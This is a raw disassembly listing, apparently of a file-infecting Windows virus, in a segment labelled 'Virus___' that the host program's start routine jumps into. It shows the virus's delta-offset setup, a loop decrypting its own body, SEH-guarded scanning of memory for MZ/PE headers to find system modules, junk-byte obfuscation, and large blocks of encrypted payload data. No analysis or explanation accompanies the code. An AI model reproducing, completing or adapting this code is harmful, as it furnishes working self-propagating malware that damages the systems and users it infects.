		dd 3F49200h, 42h, 0Bh dup(0)
		dd 6F146C00h, 8C83h, 0
		dd 5F7CFF00h, 5A3C7C43h, 9 dup(0)
		dd 0FFFFFF00h, 0FFh, 0
		dd offset dword_417800+91500h
		dd 0
		dd 90EB9400h, 7Ch, 90EB9400h, 7Ch, 5A7BDB00h, 10h dup(0)
		dd 1900h, 8 dup(0)
		dd 29AA5400h, 1, 0Bh dup(0)
		dd 7BFC9C00h, 0F6h, 5 dup(0)
		dd 348700h, 3 dup(0)
		dd 0A5AF4C00h, 0FFh, 8 dup(0)
		dd 56C66600h, 8	dup(0)
		dd 1F400h, 0DF5DCD00h, 7Fh, 5 dup(0)
		dd 0AE941700h, 29AA5400h, 1, 3 dup(0)
		dd 5A3C7C00h, 9	dup(0)
		dd 0DF5DCD00h, 7Fh, 3 dup(0)
		dd 0C950E800h, 83h, 0
		dd 0AB0C2500h, 0EEh, 0A5338400h, 0FFh, 3 dup(0)
		dd 73288300h, 35h, 5A7BDB00h, 0
		dd 90EB9400h, 7Ch, 3 dup(0)
		dd 0AEFA0300h, 2 dup(0)
		dd 96A0000h, 90EB9400h,	707Ch, 0
		dd 0A5FFDD00h, 0FFh, 6 dup(0)
		dd 56CF5100h, 4	dup(0)
		dd 0B0FCAD00h, 5A7BDB00h, 0Dh dup(0)
		dd 0AE180F00h, 0Bh dup(0)
		dd 5BC9A200h, 0Bh dup(0)
		dd 5B2D6700h, 17h, 5B6C9600h, 6	dup(0)
		dd 817F4500h, 7Fh, 5 dup(0)
		dd 29AA5400h, 1, 4 dup(0)
		dd 0ED2DAD00h, 0FEh, 0
		dd 8000h, 3B500h, 0
		dd 59DDB200h, 5	dup(0)
		dd 0A5C38400h, 0FFh, 3 dup(0)
		dd 59975E00h, 251B1B00h, 79h, 4	dup(0)
		dd offset dword_417800+58800h
		dd 18h dup(0)
		dd 0AE180F00h, 56CE3500h, 0
		dd 6F146C00h, 56C66583h, 56CCB900h, 0
		dd 0FFFFB000h, 0FFh, 3 dup(0)
		dd 0A4B9FD00h, 0FFh, 28h dup(0)
		dd 98989800h, 98h, 0
		dd 0E397DD00h, 80h, 6EB4C700h, 83h, 2 dup(0)
		dd 40100000h, 62EBE400h, 99h, 6	dup(0)
		dd 29AA5400h, 1CFFB001h, 0B5h, 4 dup(0)
		dd 5EA6E200h, 1Fh, 814AF200h, 0AE8B287Ch, 6 dup(0)
		dd 0BF972E00h, 4, 4 dup(0)
		dd 90EB9400h, 7Ch, 8 dup(0)
		dd 0DAE600h, 0
		dd 12FF5400h, 4	dup(0)
		dd 0F110A200h, 47h, 2 dup(0)
		dd 0A5FFDD00h, 0FFh, 8 dup(0)
		dd 100h, 9 dup(0)
		dd 12FFE000h, 0
		dd 56CD6900h, 0
		dd 59E07500h, 5	dup(0)
		dd 2DF9CD00h, 0D1h, 3 dup(0)
		dd 5AEB9400h, 8	dup(0)
		dd 0DD788300h, 77h, 8 dup(0)
		dd 12FFC400h, 0A5960700h, 0FFh,	2 dup(0)
		dd 5A50B400h, 17h dup(0)
		dd 11201400h, 3	dup(0)
		dd 0A5AF4C00h, 0FFh, 0AFFFB000h, 8401h,	0Eh dup(0)
		dd 5ACF5100h, 9	dup(0)
		dd 5A50B400h, 8	dup(0)
		dd 0AE37EC00h, 7200h, 2	dup(0)
		dd 0CEE7DC00h, 3Fh, 3 dup(0)
		dd 0DF5DCD00h, 7Fh, 0Ch	dup(0)
		dd 90EB9400h, 7Ch, 90EB9400h, 7Ch, 6 dup(0)
		dd 90702800h, 0BCh, 2 dup(0)
		dd 90702800h, 0BCh, 0
		dd 59E02500h, 0
		dd 271000h, 8 dup(0)
		dd 814AF200h, 7Ch, 5 dup(0)
		dd 52B1B700h, 7Bh, 3 dup(0)
		dd 1E900000h, 0FFD8F000h, 0A0FFh, 80189800h, 7Ch, 5 dup(0)
		dd 29AA5400h, 1, 3 dup(0)
		dd 55AE9A00h, 809B480Dh, 7Ch, 2	dup(0)
		dd 0FFFFFF00h, 80ADA0FFh, 7Ch, 0DAE600h, 3 dup(0)
		dd 0BD7CE000h, 0FFh, 0AE8B8600h, 11h, 6	dup(0)
		dd 33333300h, 2	dup(33333333h),	0C833h,	6 dup(0)
		dd 0D4F13B00h, 0E8h, 6 dup(0)
		dd 0A3CA6C00h, 0B44E5BFFh, 76h,	3 dup(0)
		dd 71717100h, 6078871h,	86h, 3 dup(0)
		dd 5A64BB00h, 6	dup(0)
		dd 90EB9400h, 0DC5C7Ch,	0
		dd 0FFCED400h, 0FFh, 8 dup(0)
		dd 0A8A5200h, 34h, 4 dup(0)
		dd 5A3C7C00h, 0
		dd 12FFF000h, 0
		dd 8000E800h, 7Ch, 3 dup(0)
		dd 764AA700h, 0C0h, 0Ah	dup(0)
		dd 0FC112900h, 0FFh, 4 dup(0)
		dd 0B400h, 0
		dd 22222200h, 22222222h, 0A5C9EE22h, 0FFh, 0
		dd 0B64A8D00h, 7Dh, 15h	dup(0)
		dd 0C0005000h, 0FEh, 0AFh dup(0)
		dd 0A5338400h, 8111DAFFh, 764AA77Ch, 0C0h, 5A3C7C00h, 0Eh dup(0)
		dd 7A904800h, 0F6h, 15h	dup(0)
		dd 100h, 0F1A2C700h, 0Eh, 0
		dd 0F3EE9100h, 0C1h, 4 dup(0)
		dd 5A002300h, 20h dup(0)
		dd 90EB9400h, 7Ch, 5 dup(0)
		dd 56CE3500h, 2	dup(0)
		dd 0CFB05300h, 0FAh, 6 dup(0)
		dd 0A3000000h, 5 dup(0)
		dd 0B8243600h, 0DDEBE75Bh, 77h,	0
		dd 0B4000000h, 76h, 2 dup(0)
		dd 0CA8B7B00h, 0BCh, 1Ah dup(0)
		dd 5BC9A200h, 4	dup(0)
		dd 351800h, 7 dup(0)
		dd 66400h, 2 dup(0)
		dd 90EB9400h, 7Ch, 4 dup(0)
		dd 0F110A200h, 47h, 0
		dd 90EE1800h, 7Ch, 29AA5400h, 0B401h, 2	dup(0)
		dd 0AAEB9400h, 47h, 3 dup(0)
		dd 21212100h, 21h, 7 dup(0)
		dd 56EB8F00h, 3	dup(0)
		dd 0DFC41B00h, 77h, 0Ch	dup(0)
		dd 12FF5400h, 2	dup(0)
		dd 90EB9400h, 7Ch, 1Ah dup(0)
		dd 0DD00F800h, 7Fh, 90EB9400h, 7Ch, 0Eh	dup(0)
		dd 90EB9400h, 7Ch, 0
		dd 56AF1100h, 0D20EB800h, 5B5EBB63h, 16h, 0Dh dup(0)
		dd 7400h, 2 dup(0)
		dd 0A4D8A500h, 3C7CFFh,	0Fh dup(0)
		dd 2E09FD00h, 0DD00F83Dh, 7Fh, 0
		dd 7800h, 90EB9400h, 7Ch, 4 dup(0)
		dd 4B00h, 7 dup(0)
		dd 801A2400h, 5600237Ch, 90702800h, 0BCh, 0
		dd 65685400h, 6164696Dh, 1Ch dup(0)
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_56DF85:				; CODE XREF: start:loc_56AB30j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 95D345Fh
		mov	[ebp+95D27A9h],	edx
		mov	[ebp+95D07E5h],	esi
		mov	[ebp+95D2B39h],	eax
		cmp	dword ptr [ebp+95D2A2Dh], 0
		jz	short loc_56DFBD
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_56DFBD:				; CODE XREF: start+5BF9Bj
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+95D2101h],	eax
		push	45h
		call	sub_56E071
		push	783749Ah
		call	sub_56E0B7
		push	0A894B25h
		call	sub_56E0B7
		jmp	loc_56E1FB
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h
		dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
		dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
		dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
		dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
		dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
		dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
		dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_56E071	proc near		; CODE XREF: start+5BFB5p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 95D354Dh
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_56E08D:				; CODE XREF: sub_56E071+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_56E0AC
		mov	eax, [ebp+arg_0]
		mov	[ebx+95D34B7h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_56E08D
; ---------------------------------------------------------------------------


loc_56E0AC:				; CODE XREF: sub_56E071+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_56E071	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_56E0B7	proc near		; CODE XREF: start+5BFBFp start+5BFC9p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 95D3596h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_56E0DD:				; CODE XREF: sub_56E0B7+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_56E0DD
		mov	[ebp+var_84], 0
		lea	edi, [edx+95D34B7h]
		lea	esi, [ebp+var_80]


loc_56E10D:				; CODE XREF: sub_56E0B7+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_56E119:				; CODE XREF: sub_56E0B7+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_56E119
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_56E10D
		popa
		leave
		retn	4
sub_56E0B7	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_56E157
; ---------------------------------------------------------------------------


loc_56E153:				; CODE XREF: Virus___:0056E15Aj
		inc	dword ptr [ebp-4]
		inc	esi


loc_56E157:				; CODE XREF: Virus___:0056E151j
		cmp	byte ptr [esi],	0
		jnz	short loc_56E153
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_56E1E8
; ---------------------------------------------------------------------------


loc_56E169:				; CODE XREF: Virus___:0056E1EBj
		mov	dword ptr [ebp-8], 0
		jmp	short loc_56E1DF
; ---------------------------------------------------------------------------


loc_56E172:				; CODE XREF: Virus___:0056E1E3j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_56E1CC
; ---------------------------------------------------------------------------


loc_56E182:				; CODE XREF: Virus___:0056E1D0j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_56E1A4
		cmp	bl, 39h
		ja	short loc_56E1A4
		sub	bl, 30h
		jmp	short loc_56E1C6
; ---------------------------------------------------------------------------


loc_56E1A4:				; CODE XREF: Virus___:0056E198j
					; Virus___:0056E19Dj
		cmp	bl, 61h
		jb	short loc_56E1B6
		cmp	bl, 66h
		ja	short loc_56E1B6
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_56E1C6
; ---------------------------------------------------------------------------


loc_56E1B6:				; CODE XREF: Virus___:0056E1A7j
					; Virus___:0056E1ACj
		cmp	bl, 41h
		jb	short loc_56E1C6
		cmp	bl, 46h
		ja	short loc_56E1C6
		sub	bl, 41h
		add	bl, 0Ah


loc_56E1C6:				; CODE XREF: Virus___:0056E1A2j
					; Virus___:0056E1B4j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_56E1CC:				; CODE XREF: Virus___:0056E180j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_56E182
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_56E1DC
		mov	eax, [ebp-10h]
		stosb


loc_56E1DC:				; CODE XREF: Virus___:0056E1D6j
		inc	dword ptr [ebp-8]


loc_56E1DF:				; CODE XREF: Virus___:0056E170j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_56E172
		add	edx, 4


loc_56E1E8:				; CODE XREF: Virus___:0056E167j
		cmp	edx, [ebp-4]
		jb	loc_56E169
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_56E1FB:				; CODE XREF: start+5BFCEj
		mov	ecx, 7000h
		lea	edi, [ebp+95D36DCh]


loc_56E206:				; CODE XREF: start+5C1F6j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_56E206
		mov	eax, 48692121h
		mov	edx, 0F0112000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+95D37ABh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		mov	bh, ch
		sbb	bx, 5349h
		sub	eax, edx
		jp	$+6
		and	eax, 0FFFFF000h
		sub	bl, 74h
		mov	ecx, edx
		xor	edi, edi


loc_56E252:				; CODE XREF: start+5C259j
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_56E267
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_56E26F


loc_56E267:				; CODE XREF: start+5C243j
		sub	eax, 1000h
		inc	edi
		jmp	short loc_56E252
; ---------------------------------------------------------------------------


loc_56E26F:				; CODE XREF: start+5C251j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+95D37BEh]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_56E2A9
		mov	esi, [eax+1Ch]


loc_56E2A9:				; CODE XREF: start+5C290j
		xor	eax, eax


loc_56E2AB:				; CODE XREF: start+5C2AAj
		cmp	eax, 32h
		jz	short loc_56E2CF
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_56E2C0


loc_56E2B7:				; CODE XREF: start+5C2B9j
		sub	esi, 10000h
		inc	eax
		jmp	short loc_56E2AB
; ---------------------------------------------------------------------------


loc_56E2C0:				; CODE XREF: start+5C2A1j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_56E311
		jmp	short loc_56E2B7
; ---------------------------------------------------------------------------


loc_56E2CF:				; CODE XREF: start+5C29Aj
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 95D37C9h
		lea	eax, [ebp+95D3787h]
		mov	[ecx+0B8h], eax
		pop	ebp
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_56E311:				; CODE XREF: start+5C2B7j
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		push	0
		push	edi
		call	sub_56E327
		and	[edi-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_56E327	proc near		; CODE XREF: start+5C30Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_56E327	endp

; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------
		mov	ah, 60h
		mov	bx, 3CD8h
		popa
		mov	ebx, 211E8A62h
		or	bx, 9A02h
		mov	cx, ds
		push	0
		push	esi
		call	sub_56E357
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56E357	proc near		; CODE XREF: Virus___:0056E34Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_56E357	endp

; ---------------------------------------------------------------------------
		db 98h
		dd 815E8D76h, 80F98ABAh, 8B6604E1h, 0FC90ADAh, 3D85h, 11E800h
		dd 0F1040000h, 0B83A747Bh, 971D92E5h, 29FF1F5Fh, 5738574Fh
		dd 85C75B5Bh, 95D0971h,	1, 38E9DE8Bh, 57000000h, 0CE9h
		dd 0F7A4EC00h, 0F2DD9D39h, 0EAC50400h, 85C75BABh, 95D0971h
		dd 0
		dd 0FE8h, 0EB93700h, 0D5C8D434h, 2B3C782Ch, 0A50C35B6h
		dd 5382E381h, 895B20FAh, 5D08F185h, 0E4EF8009h,	8158589h
		dd 0EE8095Dh, 41000000h, 20C8D92Ah, 0B0702BF6h,	0B730F956h
		dd 7EB9660Ch, 4CBF5A2Bh, 8133CC80h, 73EFC2h, 0AB7EB900h
		dd 0BFBB601Ah, 81218A92h, 8A75EAEBh, 0F6806021h, 61D38A4Bh
		dd 8160328Bh, 0DA4DA2CBh, 61B4B30Ch, 3EE8C681h,	14E90CB1h
		dd 80000000h, 0A1ED3C3Ah, 0C2842DE3h, 27654EF3h, 6C14CB40h
		dd 81011691h, 2633C2EEh, 8152B179h, 97506FF6h, 8810F47h
		dd 60000000h, 6CE78166h, 8961F507h, 91EA8132h, 8114C46Ch
		dd 565EC5E1h, 8DC2813Eh, 0F14C46Ch, 0EB83CBBFh,	99850F01h
		dd 80FFFFFFh, 4EB0BECh,	384h, 647E9h, 71BD8900h, 60095D02h
		dd 1199BD31h, 0B8095Dh,	0F9000000h, 2824548Bh, 0DD858B60h
		dd 60095D11h, 14458D03h, 6161095Dh, 33A98589h, 870F095Dh
		dd 6, 0CB18D89h, 3CBE095Dh, 0E9000000h,	5, 0E2F3E87h, 24740312h
		dd 79BD2924h, 66095D2Ah, 0F58D89ADh, 3095D0Bh, 9242444h
		dd 5D329585h, 0E9609009h, 0Dh, 0A8A871Ch, 0B04A92E0h, 0C1C350A0h
		dd 6050614Dh, 0BA60B7B0h, 49751A94h, 8A0Fh, 61610000h
		dd 6880F90h, 29000000h,	5D08BD85h, 78408B09h, 85B50960h
		dd 8B095D0Bh, 5D149185h, 44036109h, 0F5602824h,	199D0157h
		dd 5F095D10h, 18408B61h, 18E0Fh, 40F80000h, 68E0Fh, 0BD890000h
		dd 95D3049h, 29C98D89h,	8589095Dh, 95D3964h, 1101BD01h
		dd 8958095Dh, 5D2505BDh, 41858909h, 8B095D2Bh, 60F87870h
		dd 0FE9h, 7DF90D00h, 9DB42C51h,	669453EAh, 3DB5DF6Fh, 35D9D89h
		dd 8361095Dh, 85091CC6h, 95D3381h, 24247403h, 14299589h
		dd 0BD8D095Dh, 95D0999h, 6E9h, 66079600h, 0AD63FBA8h, 0E5852960h
		dd 61095D19h, 24244403h, 2BB99531h, 89AB095Dh, 5D2B55BDh
		dd 0DDBD8D09h, 29095D03h, 5D2F918Dh, 9501AD09h,	95D0C85h
		dd 24244403h, 0DE9h, 0BB1B1900h, 21556E8Fh, 0BA6E5AA9h
		dd 8E0F4BC8h, 0Dh, 6D93BA60h, 958914F8h, 95D123Dh, 8B605061h
		dd 61CB8BCFh, 0FC240489h, 2EE19589h, 29AB095Dh,	5D18358Dh
		dd 0C1BD8D09h, 0F095D28h, 0E8Eh, 9E900h, 80630000h, 509EF59Eh
		dd 0ADA1EFF1h, 244403FCh, 49952928h, 0F5095D27h, 59589ABh
		dd 5E095D09h, 2AB58D89h, 8DFF095Dh, 95D3964h, 3964BD83h
		dd 7500095Dh, 2444C710h, 1Ch, 8BB58D00h, 0FF095D3Dh, 3AD56E6h
		dd 97282444h, 858ADF8Bh, 95D3335h, 474C084h, 4C75073Ah
		dd 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h
		dd 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h,	660973D8h
		dd 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh
		dd 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh
		dd 33A985FFh, 6FE9095Dh, 5EFFFFFFh, 10E9h, 203A4C00h, 0B5FAA5A8h
		dd 898F6C6Ah, 0C79601C4h, 8F0F60BDh, 0Dh, 8E9h,	0BFC54300h
		dd 0A46EDCC7h, 858B6199h, 95D33A9h, 6830Fh, 8D290000h
		dd 95D322Dh, 890FE0D1h,	9, 66F38B60h, 0A310D281h, 0F1B58961h
		dd 3095D11h, 5D28C185h,	0F62BF509h, 0DE9h, 0CCA14C00h
		dd 8502F5AAh, 42F787BFh, 2996FD66h, 5D04F5BDh, 0AD66F809h
		dd 0D8D3160h, 8B095D21h, 5D077985h, 0E0C16109h,	55958902h
		dd 3095D2Bh, 5D099985h,	158D8909h, 96095D00h, 68B0Fh, 0BD890000h
		dd 95D1CC1h, 0DE9ADh, 30A10000h, 515D8D8Fh, 2F58810Ch
		dd 8B422978h, 8924244Ch, 5D244DB5h, 24440309h, 0D1BD0924h
		dd 89095D02h, 891C2444h, 5D0CE98Dh, 0ACF59609h,	81666060h
		dd 6094ABE0h, 66526161h, 2AACE81h, 0C9326158h, 8E9h, 5C70C700h
		dd 8CB7B077h, 0E9C1FE79h, 0Ch, 526115A1h, 2F7A24BAh, 31F130Ah
		dd 830FD0D0h, 9Fh, 29FDB589h, 0D0D0095Dh, 91830Fh, 0D0F80000h
		dd 88820FD0h, 89000000h, 5D1165B5h, 0FD0D009h, 7A82h, 41958900h
		dd 0E9095D1Dh, 13h, 0C2A7E0A5h,	4164FF04h, 2F4857DFh, 7C69D2E8h
		dd 0FEA3CB0Dh, 0AD890FC9h, 0FCFFFFFFh, 0E920C483h, 9, 73BE425Fh
		dd 0E48D7414h, 2444C789h, 0FCh,	18C0F00h, 0F8000000h, 1B8h
		dd 5DBD8900h, 8D095D22h, 5D724C8Dh, 898D8909h, 89095D10h
		dd 5D07818Dh, 0E9E1FF09h, 9, 5556B42Fh,	7D8BDE19h, 0D98D893Bh
		dd 0C6095D32h, 5D333585h, 81600009h, 2FA13FF6h,	0C580604Dh
		dd 61616098h, 8D896161h, 95D08BDh, 600008C2h, 1A65B58Bh
		dd 11E9095Dh, 6D000000h, 0F81CDB0h, 7F9EAA27h, 92BBA041h
		dd 39AEB283h, 0B9609661h, 346C4801h, 5A575250h,	6E8310Fh
		dd 0D9000000h, 4A9339E5h, 585A5B37h, 800F5061h,	0Eh, 61605250h
		dd 870F310Fh, 0
; ---------------------------------------------------------------------------
		pop	edx
		pop	eax
		xchg	eax, esi
		mov	[ebp+95D2EE9h],	eax
		mov	[ebp+95D3F8Bh],	esi
		ja	loc_56E943
		sub	[ebp+95D211Dh],	eax


loc_56E943:				; CODE XREF: Virus___:0056E937j
		mov	[ebp+95D3F96h],	ecx
		jmp	loc_56E95E
; ---------------------------------------------------------------------------
		dw 7604h
		dd 9B68D751h, 7914C60Eh, 15E8E865h
; ---------------------------------------------------------------------------
		xchg	eax, edx
		lodsd


loc_56E95E:				; CODE XREF: Virus___:0056E949j
		jmp	loc_56E96D
; ---------------------------------------------------------------------------
		xor	al, 0E5h
		xchg	eax, esi
		inc	ebx
		db	3Eh
		xor	edi, [edi]
		push	edi
		test	al, 72h


loc_56E96D:				; CODE XREF: Virus___:loc_56E95Ej
		lea	esi, [ebp+95D3E68h]
		clc
		lea	eax, dword_5B8EA1[ebp]
		cmc
		call	eax
		mov	[ebp+95D14A9h],	ebx
		mov	[ebp+95D06F9h],	esi
		pop	esi
		jz	locret_56E996
		mov	[ebp+95D08DDh],	eax

locret_56E996:				; CODE XREF: Virus___:0056E98Aj
		retn
; ---------------------------------------------------------------------------
		stc
		mov	esi, [ebp+95D3F8Bh]
		clc
		mov	ecx, [ebp+95D3F96h]
		jb	loc_56E9CB
		pusha
		add	[ebp+95D0F6Dh],	edx
		jmp	loc_56E9CA
; ---------------------------------------------------------------------------
		db 0EEh
		dd 0A2216CC4h, 75C4BDFBh, 3CFCA92Bh, 159F7ECFh
; ---------------------------------------------------------------------------
		dec	dword ptr [edi]


loc_56E9CA:				; CODE XREF: Virus___:0056E9B2j
		popa


loc_56E9CB:				; CODE XREF: Virus___:0056E9A5j
		sub	eax, eax
		jmp	loc_56E9E1
; ---------------------------------------------------------------------------
		dw 8132h
; ---------------------------------------------------------------------------
		push	es
		lahf
		sub	eax, 0EF62E548h
		mov	[edi-44h], cl
		add	eax, [edi-6Eh]


loc_56E9E1:				; CODE XREF: Virus___:0056E9CDj
		mov	ebx, ecx
		mov	[ebp+95D26F1h],	ebx
		jmp	loc_56EA9E
; ---------------------------------------------------------------------------
		cld


loc_56E9EF:				; CODE XREF: Virus___:0056EAA0j
		xor	ah, [esi]
		jmp	loc_56EA0A
; ---------------------------------------------------------------------------
		mov	word ptr [ecx],	fs
		retn	9AEh
; ---------------------------------------------------------------------------
		db 0FBh
		dd 0E5CC2AD2h, 0AD4EABFEh, 566C03F3h
		db 0DDh, 0BDh
; ---------------------------------------------------------------------------


loc_56EA0A:				; CODE XREF: Virus___:0056E9F1j
		mov	dl, 2
		pusha
		push	edi
		sub	esi, [ebp+95D2831h]
		pop	eax
		popa
		jmp	loc_56EA6C
; ---------------------------------------------------------------------------
		cmc


loc_56EA1C:				; CODE XREF: Virus___:0056EA6Ej
		xor	al, dl
		jmp	loc_56EA35
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0B159332h, 9933C0DDh, 7E2AD40Eh, 0A18719CCh
; ---------------------------------------------------------------------------
		cmc


loc_56EA35:				; CODE XREF: Virus___:0056EA1Ej
		add	eax, 8A751D7Ah
		mov	[ebp+95D2819h],	eax
		mov	cl, ah
		mov	[ebp+95D2B9Dh],	ebx
		ror	eax, cl
		mov	[ebp+95D1CEDh],	ecx
		xor	eax, 98D10842h
		jz	loc_56EA69
		pusha
		mov	esi, [ebp+95D2ED9h]
		mov	[ebp+95D2959h],	eax
		popa


loc_56EA69:				; CODE XREF: Virus___:0056EA55j
		dec	dl
		cmc


loc_56EA6C:				; CODE XREF: Virus___:0056EA16j
		or	dl, dl
		jnz	loc_56EA1C
		jbe	loc_56EA80
		mov	[ebp+95D24D9h],	edx


loc_56EA80:				; CODE XREF: Virus___:0056EA74j
		dec	ebx
		jmp	loc_56EA8E
; ---------------------------------------------------------------------------
		dw 4E1Dh
		dd 0D51AF76Fh
		db 46h,	32h
; ---------------------------------------------------------------------------


loc_56EA8E:				; CODE XREF: Virus___:0056EA81j
		inc	esi
		pusha
		cld
		adc	edi, 70B2FB1h
		popa
		or	[ebp+95D03F9h],	edx


loc_56EA9E:				; CODE XREF: Virus___:0056E9E9j
		or	ebx, ebx
		jnz	loc_56E9EF
		pusha
		add	[ebp+95D234Dh],	ecx
		push	edx
		mov	si, 4D6Ah
		pop	esi
		popa
		iret
; ---------------------------------------------------------------------------
		db 89h,	2 dup(0BDh)
		dd 95D0Ah, 49BD8900h, 95D31h, 0F500h, 6E960h, 0F6890000h
		dd 48BD17D2h, 0D386E781h, 610D32h, 11B58900h, 0F5095D24h
		dd 3973858Dh, 9529095Dh, 95D1165h, 9D8589F8h, 0E9095D19h
		dd 0Bh,	5C350607h, 8970DA4Ah, 893BDA17h, 5D23819Dh, 0C9858D09h
		dd 29095D3Dh, 5D1D5D85h, 81858909h, 0E8095D1Fh,	5, 3E91644Fh
		dd 6820F71h, 3000000h, 5D1D398Dh, 81665809h, 818E19E9h
		dd 6867C0h, 4CCE8100h, 0BB459575h, 5DD85EDBh, 0BB13C381h
		dd 8166A227h, 0FFA521E6h, 66605F30h, 8B03E3BAh,	0C78161D1h
		dd 7A993D1h, 0B26865B9h, 4C78178h, 66064408h, 0F781F28Bh
		dd 5DD88144h, 8B57CC8Ah, 80008FF1h, 0E88358DAh,	0BE85304h
		dd 87000000h, 0A03CBF34h, 26667D6Ch, 0CA8013B2h, 835E5977h
		dd 850F01EBh, 1Ch, 31D18D89h, 24E9095Dh, 88000000h, 33B68142h
		dd 640F4837h, 1D911551h, 8290E14h, 94C98166h, 0FF89E930h
		dd 3999FFFFh, 187F1FDFh, 0EB513732h, 14h, 3 dup(0)
		dd 0E200h, 74858D00h, 89095D41h, 5D147585h, 0B5BD8309h
		dd 95D40h, 122840Fh, 85C60000h,	95D3335h, 4E856h, 6D390000h
		dd 8B50D41Fh, 8B042444h, 24448900h, 0B5FF5804h,	95D08F1h
